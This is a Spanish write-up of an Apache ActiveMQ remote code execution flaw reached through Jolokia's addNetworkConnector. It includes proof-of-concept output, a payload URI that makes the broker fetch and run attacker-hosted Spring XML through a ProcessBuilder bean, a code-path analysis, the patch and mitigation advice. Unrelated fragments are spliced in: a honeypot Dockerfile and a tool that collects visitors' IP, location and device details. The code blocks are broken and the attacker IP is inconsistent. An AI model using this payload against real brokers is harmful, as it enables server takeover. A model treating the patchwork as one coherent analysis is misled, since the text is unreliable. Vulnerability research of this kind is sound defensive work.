Una vez iniciado, puede interactuar con la API completando el formulario de perfil y siguiendo las instrucciones en la ventana de línea de comandos. Cuando haya introducido los detalles del sistema que pretende explotar, pulse '''Run'''.```bash
❯ python3 exploit_poc.py auto \
    --target http://localhost:8161 \
    --lhost 192.168.1.32 --lport 9999 \
    --cmd "touch /tmp/blahblah.txt"

======================================================================
  CVE-2026-34197 — ActiveMQ RCE via Jolokia + VM Transport
  For authorized security testing and research only.
======================================================================

[*] Target: http://localhost:8161
[*] Command: touch /tmp/blahblah.txt
[*] Serving malicious Spring XML on http://0.0.0.0:9999/evil.xml
[+] Jolokia accessible — agent version: unknown
[*] Could not discover broker name, using default 'localhost'
[*] Sending exploit payload to http://localhost:8161/api/jolokia/
[*] Malicious URI: static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Jolokia returned 200 — exploit payload delivered
[+] Response: {
  "request": {
    "mbean": "org.apache.activemq:brokerName=localhost,type=Broker",
    "arguments": [
      "static:(vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml)"
    ],
    "type": "exec",
    "operation": "addNetworkConnector(java.lang.String)"
  },
  "value": "NC",
  "timestamp": 1775616523,
  "status": 200
}
[*] Waiting 5s for target to fetch payload...
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Target fetched payload: /evil.xml
[+] Done. Verify command execution on target.

=> RCE exitoso, el archivo `blahblah.txt` fue creado en el sistema objetivo.

# Fase de Análisis
## Análisis Dinámico```bash
❯ docker exec activemq-vuln java -version 

openjdk version "11.0.24" 2024-07-16
OpenJDK Runtime Environment Temurin-11.0.24+8 (build 11.0.24+8)
OpenJDK 64-Bit Server VM Temurin-11.0.24+8 (build 11.0.24+8, mixed mode, sharing)

❯ docker exec activemq-vuln sh -c 'ls /opt/apache-activemq/lib | grep activemq'
activemq-broker-5.18.6.jar
activemq-client-5.18.6.jar
activemq-console-5.18.6.jar
activemq-jaas-5.18.6.jar
activemq-kahadb-store-5.18.6.jar
activemq-openwire-legacy-5.18.6.jar
activemq-protobuf-1.1.jar
activemq-rar.txt
activemq-spring-5.18.6.jar
activemq-web-5.18.6.jar

Verificar la conexión```bash
❯ curl -i -u admin:admin \
  -H 'Origin: http://localhost:8161' \
  http://localhost:8161/api/jolokia/
HTTP/1.1 200 OK
Date: Mon, 18 May 2026 04:37:28 GMT
X-FRAME-OPTIONS: SAMEORIGIN
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Cache-Control: no-cache
Access-Control-Allow-Origin: http://localhost:8161
Access-Control-Allow-Credentials: true
Content-Type: text/plain;charset=utf-8
Pragma: no-cache
Expires: Mon, 18 May 2026 03:37:28 GMT
Transfer-Encoding: chunked

{"request":{"type":"version"},"value":{"agent":"1.7.1","protocol":"7.2","config":{"listenForHttpService":"true","authIgnoreCerts":"false","agentId":"172.21.0.2-42-aa61e4e-servlet","debug":"false","agentType":"servlet","policyLocation":"${prop:jolokia.conf}","agentContext":"\/jolokia","serializeException":"false","mimeType":"text\/plain","dispatcherClasses":"org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher","multicastGroup":"239.192.48.84","authMode":"basic","authMatch":"any","streaming":"true","canonicalNaming":"true","historyMaxEntries":"10","allowErrorDetails":"false","allowDnsReverseLookup":"true","realm":"jolokia","includeStackTrace":"true","multicastPort":"24884","useRestrictorService":"false","debugMaxEntries":"100"},"info":{"product":"activemq","vendor":"Apache","version":"5.18.6"}},"timestamp":1779079048,"status":200}

Luego usa grep para la cadena limpia```bash
❯ grep -E \
'addNetworkConnector|doCompositeConnect|createBroker|ResourceXmlApplicationContext|loadBeanDefinitions|ProcessBuilder|xbean|brokerConfig' \
activemq-rce.log
Loading message broker from: xbean:activemq.xml
 INFO | Establishing network connection from vm://localhost to vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:342) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:310) ~[spring-beans-5.3.39.jar:5.3.39]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:116) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.loadBeanDefinitions(ResourceXmlApplicationContext.java:104) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:64) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.xbean.spring.context.ResourceXmlApplicationContext.<init>(ResourceXmlApplicationContext.java:52) ~[xbean-spring-4.25.jar:4.25]
	at org.apache.activemq.xbean.XBeanBrokerFactory$1.<init>(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createApplicationContext(XBeanBrokerFactory.java:104) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.xbean.XBeanBrokerFactory.createBroker(XBeanBrokerFactory.java:67) ~[activemq-spring-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:71) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.BrokerFactory.createBroker(BrokerFactory.java:54) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.transport.vm.VMTransportFactory.doCompositeConnect(VMTransportFactory.java:125) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.apache.activemq.broker.jmx.BrokerView.addNetworkConnector(BrokerView.java:388) ~[activemq-broker-5.18.6.jar:5.18.6]
	at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:333) ~[spring-beans-5.3.39.jar:5.3.39]
 WARN | Could not connect to remote URI: vm://evil?brokerConfig=xbean:http://192.168.1.17:9999/evil.xml: IOException parsing XML document from URL [http://192.168.1.17:9999/evil.xml]; nested exception is java.net.ConnectException: Connection refused (Connection refused)

Esta línea es crítica porque confirma que la URI controlada por el atacante proporcionada a través de:```java
BrokerView.addNetworkConnector(String)

Esta URI contiene dos partes importantes:

| Component       | Purpose                                           |
| --------------- | ------------------------------------------------- |
| `static:(...)`  | Wrapper utilizado por los conectores de descubrimiento de ActiveMQ |
| `vm://evil?...` | URI de transporte VM procesada internamente por ActiveMQ |

El wrapper `static:(...)` en sí mismo no es el componente vulnerable. Su propósito es pasar la URI de transporte contenida al subsistema de conectores de red de ActiveMQ.

Durante la ejecución en tiempo de ejecución, ActiveMQ extrajo y procesó la URI de transporte VM interna:```text
vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml

El parámetro `brokerConfig=` es la parte crítica del payload. Instruía a la capa de transporte de VM para que creara dinámicamente una instancia de broker utilizando una configuración externa de Spring xbean cargada desde:```text
http://192.168.1.32:9999/evil.xml

Como resultado, el documento XML remoto fue analizado e instanciado como un contexto de aplicación Spring dentro del JVM del broker.

El XML malicioso contenía el siguiente bean de Spring:```xml
<bean id="exec" class="java.lang.ProcessBuilder" init-method="start">

Debido a que Spring instancia ansiosamente los beans singleton durante la inicialización del contexto, el método `ProcessBuilder.start()` se ejecutó antes de que ActiveMQ validara si la configuración del broker era segura o válida.

Esto resultó en la ejecución arbitraria de comandos en el contenedor objetivo.

El exploit se verificó comprobando el directorio `/tmp` dentro del contenedor de ActiveMQ:```bash
❯ docker exec -it activemq-vuln ls -lah /tmp

total 16K
drwxrwxrwt 1 root root 4.0K May 18 04:01 .
drwxr-xr-x 1 root root 4.0K May 18 03:40 ..
-rw-r--r-- 1 root root    0 May 18 04:01 blahblah.txt
drwxr-xr-x 1 root root 4.0K May 18 04:06 hsperfdata_root

Esto demuestra que comandos arbitrarios del sistema operativo se ejecutaron con éxito dentro del contexto del contenedor ActiveMQ.

El seguimiento de la pila en tiempo de ejecución también reveló la ruta completa de ejecución vulnerable:```text
BrokerView.addNetworkConnector()
  ->
VMTransportFactory.doCompositeConnect()
  ->
BrokerFactory.createBroker()
  ->
XBeanBrokerFactory.createApplicationContext()
  ->
ResourceXmlApplicationContext
  ->
XmlBeanDefinitionReader.loadBeanDefinitions()
  ->
Spring bean instantiation
  ->
ProcessBuilder.start()
  ->
OS command execution

Una de las observaciones más importantes durante el análisis dinámico fue el orden en el que Spring y ActiveMQ procesaron la configuración maliciosa.

Después de que el payload se ejecutara correctamente, ActiveMQ generó posteriormente la siguiente advertencia:```text
WARN | Could not connect to remote URI:
The configuration has no BrokerService instance for resource:
xbean:http://192.168.1.32:9999/evil.xml

Aunque la configuración del broker en sí fue finalmente rechazada, el bean Spring malicioso ya había sido instanciado y ejecutado.

Este problema de orden es la falla lógica central detrás de CVE-2026-34197.

El análisis dinámico identificó los siguientes componentes que participan en la cadena del exploit:

| Componente                    | Función                           |
| ----------------------------- | ---------------------------------- |
| Jolokia                       | Puente HTTP a JMX                 |
| BrokerView                    | MBean de gestión expuesto         |
| VMTransportFactory            | Analiza la URI de transporte `vm://` |
| BrokerFactory                 | Crea la instancia del broker      |
| XBeanBrokerFactory            | Carga la configuración Spring xbean |
| ResourceXmlApplicationContext | Carga XML remoto                  |
| XmlBeanDefinitionReader       | Analiza definiciones de beans de Spring |
| Spring BeanFactory            | Instancia beans singleton         |
| ProcessBuilder                | Ejecuta comandos del sistema operativo |

El análisis dinámico confirma que CVE-2026-34197 es causado por la interacción entre:

* Operaciones de gestión de Jolokia demasiado permisivas
* URIs de transporte controladas por el atacante
* Creación automática del broker de transporte VM
* Carga de configuración remota Spring xbean
* Instanciación anticipada de beans singleton antes de la validación

Como resultado, un atacante autenticado puede lograr la ejecución de código arbitrario en la JVM de ActiveMQ al proporcionar una URI maliciosa `brokerConfig=xbean:http://...` a través de la operación `addNetworkConnector()` expuesta por Jolokia.

### Resumen de la arquitectura

Apache ActiveMQ Classic expone una interfaz de gestión a través del puente JMX-HTTP de Jolokia disponible en:```text id="n0vmrq"
/api/jolokia/

| Component             | Función                                     |
| --------------------- | ------------------------------------------- |
| Jolokia               | Expone operaciones JMX a través de HTTP     |
| BrokerView            | Interfaz MBean de gestión                   |
| VMTransportFactory    | Procesa URIs de transporte `vm://`          |
| BrokerFactory         | Crea brokers dinámicamente                  |
| XBeanBrokerFactory    | Carga configuraciones xbean de Spring       |
| Spring Context Loader | Analiza e instancia definiciones de beans XML |
| ProcessBuilder        | Ejecuta comandos del sistema operativo      |

La arquitectura se vuelve vulnerable porque ActiveMQ permite a usuarios autenticados invocar métodos peligrosos de gestión del broker con URIs de transporte controladas por el atacante.

---

### Análisis de la Superficie de Ataque

La superficie de ataque principal es el endpoint HTTP de Jolokia expuesto a través de la consola web de ActiveMQ:```text id="xq7vba"
http://<target>:8161/api/jolokia/

El endpoint de Jolokia aceptaba solicitudes autenticadas mediante autenticación básica HTTP:```json id="13tzmx"
"authMode":"basic"

Este método acepta un URI de transporte controlado por el usuario sin restringir suficientemente los esquemas de URI peligrosos ni los parámetros de configuración.

El atacante proporcionó el siguiente payload:```text id="v3u3f2"
static:(vm://evil?brokerConfig=xbean:http://192.168.1.32:9999/evil.xml)

El parámetro crítico es:```text id="s59jsn"
brokerConfig=xbean:http://attacker/evil.xml

Spring entonces cargó el XML remoto a través de:```text id="i54jqs"
org.apache.xbean.spring.context.ResourceXmlApplicationContext

Durante la inicialización del contexto de la aplicación Spring, los beans singleton se instancian de forma inmediata. Como resultado, el método `ProcessBuilder.start()` se ejecutó de inmediato.

El fallo lógico clave es que la instanciación de los beans de Spring ocurrió antes de que ActiveMQ validara si la configuración del broker en sí era segura o válida.

Este comportamiento se demostró dinámicamente porque:

1. La carga útil maliciosa creó con éxito `/tmp/blahblah.txt`
2. Posteriormente, ActiveMQ rechazó la configuración del broker con:```text id="6k1dwn"
The configuration has no BrokerService instance

a través de:```text id="pt2n3d"
/api/jolokia/

Ejemplo de payload malicioso:```text id="wjsowq"
static:(vm://evil?brokerConfig=xbean:http://attacker/evil.xml)

El tráfico HTTP saliente inesperado desde la JVM del broker debe ser investigado.

#### Registros de ejecución sospechosos

Los siguientes mensajes de ejecución son sospechosos:```text id="1zj8yf"
Establishing network connection from vm://localhost to vm://evil

# BUILD
FROM debian:bookworm-slim as builder
SHELL ["/bin/bash", "-c"]
...

docker build --build-arg TPOT_FLAVOR=standard -f docker/Dockerfile -t tpot:standard .

Trabajando con una plantilla personalizada

Edita el archivo HTML y cambia el título de la página:

`{{TITLE}}`

Abre el archivo HTML en el navegador y mira la consola para ver los datos de ubicación:

### Características

- XSS-R
- Obtener la dirección IP
- Obtener los datos de ubicación
- Obtener los detalles del navegador y del sistema operativo
- Obtener el user agent
- Obtener los detalles del dispositivo
- Obtener la resolución de pantalla

| Característica | Estado |
| ------- | ------ |
| Obtener la dirección IP | ✅ |
| Obtener los datos de ubicación | ✅ |
| Obtener los detalles del navegador y del sistema operativo | ✅ |
| Obtener el user agent | ✅ |
| Obtener los detalles del dispositivo | ✅ |
| Obtener la resolución de pantalla | ✅ |

#### Trabajando con Seeker Drive

#### Instalador

1. Copia `seekerdrive.service` a `/lib/systemd/system/`
2. Cambia la ruta de `User` y `ExecStart` en `/lib/systemd/system/seekerdrive.service`
3. Habilita e inicia el servicio:

```bash
sudo systemctl enable seekerdrive.service
sudo systemctl start seekerdrive.service

#### Artefactos del sistema de archivos

Archivos inesperados en:```text id="6x7qcm"
/tmp/

Resultado:```text id="rm2qfd"
/tmp/blahblah.txt

Esto indica que la ejecución de comandos se produjo con privilegios de root dentro del contenedor.

El impacto potencial incluye:

| Impacto                | Descripción                               |
| --------------------- | ----------------------------------------- |
| Ejecución remota de código | Ejecución arbitraria de comandos          |
| Compromiso del contenedor | Compromiso total del contenedor de ActiveMQ |
| Robo de credenciales   | Acceso a credenciales y secretos del broker |
| Movimiento lateral     | Pivoting a sistemas adyacentes            |
| Persistencia           | Creación de conectores de red maliciosos  |
| Exposición de datos    | Acceso a mensajes y colas del broker      |

La gravedad aumenta significativamente si:

* Jolokia está expuesto externamente
* Las credenciales predeterminadas permanecen habilitadas
* Los contenedores se ejecutan como root
* Los hosts del broker tienen acceso saliente sin restricciones

---

### Mitigación

#### Actualizar a versiones corregidas

Actualice ActiveMQ Classic a:```text id="8w0j6k"
5.19.4 or later
6.2.3 or later

#### Restringir el acceso de red saliente

Evitar que el broker inicie conexiones HTTP salientes arbitrarias.

Esto mitiga los intentos de recuperación remota de XML.

#### Deshabilitar funciones peligrosas

Restringir o deshabilitar:

* Creación dinámica de brokers
* Uso del transporte `vm://`
* Carga externa de configuración `xbean:`

#### Endurecer el entorno de ejecución

* Ejecutar contenedores como usuarios no root
* Aplicar restricciones del sistema de archivos
* Usar segmentación de red
* Supervisar la ejecución de procesos hijo de la JVM

#### Recomendaciones de detección

Supervisar lo siguiente:

* Solicitudes a `/api/jolokia/`
* Uso de `addNetworkConnector`
* Parámetros `brokerConfig=`
* URI `xbean:`
* Solicitudes HTTP salientes desde la JVM del broker
* Procesos hijo inesperados generados por Java

## Análisis estático

### Resumen del código fuente

La ruta vulnerable atraviesa la capa de gestión web/JMX de ActiveMQ, la capa de red del broker, el transporte VM, el subsistema de fábrica del broker y la carga de configuración de Spring XBean.

Jolokia está habilitado en la aplicación de API web de ActiveMQ:```xml
<!-- assembly/src/release/webapps/api/WEB-INF/web.xml -->
<servlet>
    <servlet-name>jolokia-agent</servlet-name>
    <servlet-class>org.jolokia.http.AgentServlet</servlet-class>
    ...
</servlet>

<servlet-mapping>
    <servlet-name>jolokia-agent</servlet-name>
    <url-pattern>/jolokia/*</url-pattern>
</servlet-mapping>

El nombre del objeto se crea como:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerMBeanSupport.java
public static ObjectName createBrokerObjectName(String jmxDomainName, String brokerName)
        throws MalformedObjectNameException  {
    String objectNameStr = jmxDomainName + ":type=Broker,brokerName=";
    objectNameStr += JMXSupport.encodeObjectNamePart(brokerName);
    return new ObjectName(objectNameStr);
}

Las responsabilidades de los componentes relevantes son:

- `BrokerView`: fachada de gestión de broker orientada a JMX. Expone `addNetworkConnector(String)` y `addConnector(String)`.
- `BrokerService`: objeto runtime del broker. Convierte una dirección de conector de red en cadena en un `URI` y crea un `DiscoveryNetworkConnector`.
- `DiscoveryNetworkConnector`: utiliza un agente de descubrimiento para obtener URIs de servicio de brokers remotos y luego se conecta a cada URI descubierto.
- `TransportFactory`: resuelve un esquema de URI a una fábrica de transporte usando `META-INF/services/org/apache/activemq/transport/<scheme>`.
- `VMTransportFactory`: maneja transportes `vm://` y puede auto-crear un broker embebido cuando el broker VM solicitado no existe.
- `BrokerFactory`: resuelve un esquema de URI de configuración de broker usando `META-INF/services/org/apache/activemq/broker/<scheme>`.
- `XBeanBrokerFactory`: maneja URIs de configuración de broker `xbean:` y crea un contexto de aplicación Spring/XBean.
- `ResourceXmlApplicationContext`: carga el recurso XML y realiza la actualización de la fábrica de beans de Spring, incluida la creación ansiosa de singletons.

La vulnerabilidad existe porque el método de gestión acepta un lenguaje de URI de ActiveMQ que no son datos pasivos. Cuando se evalúa el URI, puede crear brokers y cargar configuración XML de Spring.

---

### Punto de Entrada Vulnerable

El punto de entrada vulnerable es:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java
public String addNetworkConnector(String discoveryAddress) throws Exception {
    NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);
    if (connector == null) {
        throw new NoSuchElementException("Not connector matched the given name: " + discoveryAddress);
    }
    brokerService.registerNetworkConnectorMBean(connector);
    connector.start();
    return connector.getName();
}

La entrada controlada por el atacante es el argumento `exec` de Jolokia que se pasa a `discoveryAddress`. En la versión vulnerable, `BrokerView.addNetworkConnector()` no realiza validación de esquema, ni validación de URI anidada, ni filtrado de parámetros específicos del transporte antes de pasar la cadena a `BrokerService`.

`BrokerService` convierte la cadena directamente en una `URI`:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerService.java
public NetworkConnector addNetworkConnector(String discoveryAddress) throws Exception {
    return addNetworkConnector(new URI(discoveryAddress));
}

public NetworkConnector addNetworkConnector(URI discoveryAddress) throws Exception {
    NetworkConnector connector = new DiscoveryNetworkConnector(discoveryAddress);
    return addNetworkConnector(connector);
}

El control llega al subsistema de transporte cuando `BrokerView` inicia el conector:```java
connector.start();

`static:(...)` crea un conector de descubrimiento estático, y la URI interna `vm://...` se convierte en el servicio remoto descubierto.

---

### Análisis del Transporte VM

El transporte VM se resuelve mediante:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/transport/vm
class=org.apache.activemq.transport.vm.VMTransportFactory

El método analiza la URI `vm://`, extrae los parámetros de consulta y trata `brokerConfig` como una URI de creación de broker:```java
host = extractHost(location);
options = URISupport.parseParameters(location);
String config = options.remove("brokerConfig");
if (config != null) {
    brokerURI = new URI(config);
} else {
    Map<String, Object> brokerOptions = IntrospectionSupport.extractProperties(options, "broker.");
    brokerURI = new URI("broker://()/" + host + "?"
                        + URISupport.createQueryString(brokerOptions));
}

Si no existe ningún broker para el host de VM solicitado, `VMTransportFactory` crea uno:```java
broker = lookupBroker(BrokerRegistry.getInstance(), host, waitForStart);
if (broker == null) {
    if (!create) {
        throw new IOException("Broker named '" + host + "' does not exist.");
    }
    try {
        if (brokerFactoryHandler != null) {
            broker = brokerFactoryHandler.createBroker(brokerURI);
        } else {
            broker = BrokerFactory.createBroker(brokerURI);
        }
        broker.start();
        MDC.put("activemq.broker", broker.getBrokerName());
    } catch (URISyntaxException e) {
        throw IOExceptionSupport.create(e);
    }
    BROKERS.put(host, broker);
    BrokerRegistry.getInstance().getRegistryMutext().notifyAll();
}

Esa validación no puede impedir la ejecución de código a través de `brokerConfig`, porque `brokerConfig` ya ha sido eliminado de `options` y consumido antes de que esta comprobación se ejecute.

La ruta de descubrimiento upstream es:```java
// activemq-broker/src/main/java/org/apache/activemq/network/DiscoveryNetworkConnector.java
remoteTransport = TransportFactory.connect(connectUri);

running.set(true);
for (int i = 0; i < services.length; i++) {
    listener.onServiceAdd(new SimpleDiscoveryEvent(services[i]));
}

`DiscoveryNetworkConnector.onServiceAdd()` luego se conecta a la URI interior controlada por el atacante.

---

### Flujo de creación del broker

La creación del broker es gestionada por:```java
// activemq-broker/src/main/java/org/apache/activemq/broker/BrokerFactory.java
public static BrokerService createBroker(URI brokerURI) throws Exception {
    return createBroker(brokerURI, false);
}

public static BrokerService createBroker(URI brokerURI, boolean startBroker) throws Exception {
    if (brokerURI.getScheme() == null) {
        throw new IllegalArgumentException("Invalid broker URI, no scheme specified: " + brokerURI);
    }
    BrokerFactoryHandler handler = createBrokerFactoryHandler(brokerURI.getScheme());
    BrokerService broker = handler.createBroker(brokerURI);
    if (startBroker) {
        broker.start();
    }
    return broker;
}

Para las URIs `xbean:`, el descriptor de servicio se asigna a `XBeanBrokerFactory`:```properties
# activemq-broker/src/main/resources/META-INF/services/org/apache/activemq/broker/xbean
class=org.apache.activemq.xbean.XBeanBrokerFactory

La transición clave es:```text
vm://evil?brokerConfig=xbean:http://attacker/evil.xml

### Análisis de Spring XBean

La fábrica XBean relevante es:```java
// activemq-spring/src/main/java/org/apache/activemq/xbean/XBeanBrokerFactory.java
public class XBeanBrokerFactory implements BrokerFactoryHandler

ApplicationContext context = createApplicationContext(uri);

BrokerService broker = null;
try {
    broker = (BrokerService)context.getBean("broker");
} catch (BeansException e) {
}
...

El sumidero peligroso es `createApplicationContext()`:```java
protected ApplicationContext createApplicationContext(String uri) throws MalformedURLException {
    Resource resource = Utils.resourceFromString(uri);
    LOG.debug("Using " + resource + " from " + uri);
    try {
        return new ResourceXmlApplicationContext(resource) {
            @Override
            protected void initBeanDefinitionReader(XmlBeanDefinitionReader reader) {
                reader.setValidating(isValidate());
            }
        };
    } catch (FatalBeanException errorToLog) {
        LOG.error("Failed to load: " + resource + ", reason: " + errorToLog.getLocalizedMessage(), errorToLog);
        throw errorToLog;
    }
}

Por lo tanto:```text
xbean:http://192.168.1.32:9999/evil.xml

y cargado como un `UrlResource` de Spring.

La llamada a `reader.setValidating(isValidate())` solo controla el modo de validación XML en el `XmlBeanDefinitionReader` de Spring. No restringe las clases de beans, los argumentos de constructor, los métodos de ciclo de vida ni los recursos URL remotos.

---

### Análisis de Instanciación de Beans de Spring

ActiveMQ 5.18.6 declara:```xml
<spring-version>5.3.39</spring-version>
<xbean-version>4.25</xbean-version>

Carga las definiciones de beans desde el recurso proporcionado:```java
protected void loadBeanDefinitions(XmlBeanDefinitionReader reader)
        throws BeansException, IOException {
    reader.loadBeanDefinitions(resource);
}

`finishBeanFactoryInitialization()` llama:```java
beanFactory.preInstantiateSingletons();

Durante la inicialización de beans, Spring invoca métodos de inicialización personalizados:```java
// org/springframework/beans/factory/support/AbstractAutowireCapableBeanFactory.java
protected Object initializeBean(String beanName, Object bean, @Nullable RootBeanDefinition mbd) {
    ...
    invokeInitMethods(beanName, wrappedBean, mbd);
    ...
}

`invokeCustomInitMethod()` invoca el método mediante reflexión:```java
ReflectionUtils.makeAccessible(methodToInvoke);
methodToInvoke.invoke(bean);

provoca el siguiente comportamiento:```text
ResourceXmlApplicationContext constructor
  -> refresh()
  -> XmlBeanDefinitionReader.loadBeanDefinitions()
  -> DefaultListableBeanFactory.preInstantiateSingletons()
  -> getBean("exec")
  -> instantiate java.lang.ProcessBuilder
  -> initializeBean()
  -> invokeInitMethods()
  -> invokeCustomInitMethod("start")
  -> ProcessBuilder.start()

La validación del broker ocurre después del refresco del contexto de Spring. Como resultado, una configuración puede ejecutar métodos init arbitrarios y aun así ser rechazada posteriormente como una configuración de broker inválida.

---

### Análisis de la causa raíz

La causa raíz es un puente arquitectónico inseguro entre una operación de gestión invocable de forma remota y los mecanismos locales de arranque del broker de confianza.

El diseño vulnerable tiene estas propiedades:

- Jolokia expone operaciones JMX `exec` para los MBeans de gestión del broker de ActiveMQ.
- `BrokerView.addNetworkConnector(String)` acepta entrada URI controlada por el atacante.
- La URI se pasa al código de redes de ActiveMQ sin una restricción en el plano de gestión sobre los esquemas de transporte peligrosos.
- El descubrimiento `static:(...)` hace que la URI incluida se conecte automáticamente cuando se inicia el conector de red.
- El transporte `vm://` no es solo un transporte dentro de la VM; también admite la creación automática de un broker cuando el broker VM nombrado está ausente.
- `VMTransportFactory` trata `brokerConfig` como una URI de fábrica de brokers y lo reenvía a `BrokerFactory.createBroker()`.
- `BrokerFactory` admite URIs `xbean:` a través de `XBeanBrokerFactory`.
- `XBeanBrokerFactory` acepta recursos URL y construye un `ResourceXmlApplicationContext` de Spring.
- Spring instancia con avidez los beans singleton e invoca métodos init personalizados durante el refresco del contexto.
- ActiveMQ comprueba si el contexto contiene un `BrokerService` válido solo después de que Spring ya haya inicializado el contexto.

Esto no es simplemente "validación de entrada inadecuada" de forma aislada. El comportamiento vulnerable se debe a que se expone un intérprete de URIs capaz de configurar a través de una operación JMX en tiempo de ejecución y se permite que ese intérprete alcance la ejecución del ciclo de vida de los beans de Spring.

El fallo preciso es que la API de gestión trata a `discoveryAddress` como una dirección de conector, pero la pila de transporte aguas abajo lo trata como configuración ejecutable. En la ruta de explotación, la cadena se evalúa como:```text
network connector URI
  -> discovery service URI
  -> VM transport URI
  -> broker creation URI
  -> XBean Spring resource URI
  -> Spring bean definitions
  -> Java object lifecycle methods

y ese constructor realiza:```text
refresh() -> preInstantiateSingletons() -> init-method invocation

El cambio relevante para la seguridad está en:```text
activemq-broker/src/main/java/org/apache/activemq/broker/jmx/BrokerView.java

En 5.19.4, se añadió validación antes de llamar a `BrokerService`:```diff
 public String addNetworkConnector(String discoveryAddress) throws Exception {
+    // Verify VM transport is not used
+    validateAllowedUrl(discoveryAddress);
     NetworkConnector connector = brokerService.addNetworkConnector(discoveryAddress);

El validador rechaza los esquemas de transporte `vm`:```java
private static void validateAllowedUrl(String uriString) throws URISyntaxException {
    validateAllowedUri(new URI(uriString), 0);
}

// Validate the URI does not contain VM transport
private static void validateAllowedUri(URI uri, int depth) throws URISyntaxException {
    // Don't allow more than 5 nested URIs to prevent blowing the stack
    if (depth > 5) {
        throw new IllegalArgumentException("URI can't contain more than 5 nested composite URIs");
    }

    // First check the main URI scheme
    validateAllowedScheme(uri.getScheme());

    // If composite, iterate and check each of the composite URIs
    if (URISupport.isCompositeURI(uri)) {
        URISupport.CompositeData data = URISupport.parseComposite(uri);
        depth++;
        for (URI component : data.getComponents()) {
            if (URISupport.isCompositeURI(uri)) {
                validateAllowedUri(component, depth);
            } else {
                validateAllowedScheme(uri.getScheme());
            }
        }
    }
}

// We don't allow VM transport scheme to be used
private static void validateAllowedScheme(String scheme) {
    if (scheme.equals("vm")) {
        throw new IllegalArgumentException("VM scheme is not allowed");
    }
}

Esto bloquea el exploit antes de que la solicitud llegue a:```text
BrokerService.addNetworkConnector()
DiscoveryNetworkConnector.start()
TransportFactory.connect()
VMTransportFactory.doCompositeConnect()
BrokerFactory.createBroker()
XBeanBrokerFactory.createApplicationContext()
ResourceXmlApplicationContext.refresh()

No se realizó ningún cambio relevante para la seguridad en `XBeanBrokerFactory.createApplicationContext()` en este diff. Los recursos de URL remota y el comportamiento de Spring `ResourceXmlApplicationContext` siguen estando disponibles para la carga de configuraciones de broker de confianza.

`BrokerFactory` cambió de un `FactoryFinder` sin tipo a un `FactoryFinder<BrokerFactoryHandler>` con tipo:```diff
- private static final FactoryFinder BROKER_FACTORY_HANDLER_FINDER =
-     new FactoryFinder("META-INF/services/org/apache/activemq/broker/");
+ private static final FactoryFinder<BrokerFactoryHandler> BROKER_FACTORY_HANDLER_FINDER
+     = new FactoryFinder<>("META-INF/services/org/apache/activemq/broker/",
+     BrokerFactoryHandler.class, null);

Esta no es la corrección principal para la ruta de Jolokia a RCE. La mitigación principal es el rechazo previo al despacho de `vm://` en `BrokerView`.

Resumen del comportamiento del parche:

- 5.18.6: `BrokerView.addNetworkConnector()` acepta `static:(vm://...?brokerConfig=xbean:http://...)` y lo pasa aguas abajo.
- 5.19.4: `BrokerView.addNetworkConnector()` valida la URI proporcionada antes de la creación del conector y rechaza el uso anidado de `vm://`.
- 5.18.6: `VMTransportFactory` puede consumir `brokerConfig` controlado por el atacante y alcanzado desde la ruta JMX.
- 5.19.4: `VMTransportFactory` sigue admitiendo `brokerConfig`, pero la ruta JMX expuesta está bloqueada antes de la resolución del transporte VM.

---

### Conclusión del Análisis Estático

La ruta de código vulnerable exacta en ActiveMQ Classic 5.18.6 es:```text
HTTP POST /api/jolokia/
  -> Jolokia exec operation
  -> org.apache.activemq:type=Broker,brokerName=<name>
  -> BrokerView.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(String)
  -> BrokerService.addNetworkConnector(URI)
  -> DiscoveryNetworkConnector.setUri(URI)
  -> DiscoveryAgentFactory.createDiscoveryAgent(URI)
  -> SimpleDiscoveryAgentFactory.doCreateDiscoveryAgent(URI)
  -> BrokerView.addNetworkConnector(): connector.start()
  -> DiscoveryNetworkConnector.handleStart()
  -> SimpleDiscoveryAgent.start()
  -> DiscoveryNetworkConnector.onServiceAdd(DiscoveryEvent)
  -> TransportFactory.connect(URI)
  -> VMTransportFactory.doConnect(URI)
  -> VMTransportFactory.doCompositeConnect(URI)
  -> BrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createBroker(URI)
  -> XBeanBrokerFactory.createApplicationContext(String)
  -> Utils.resourceFromString(String)
  -> new ResourceXmlApplicationContext(Resource)
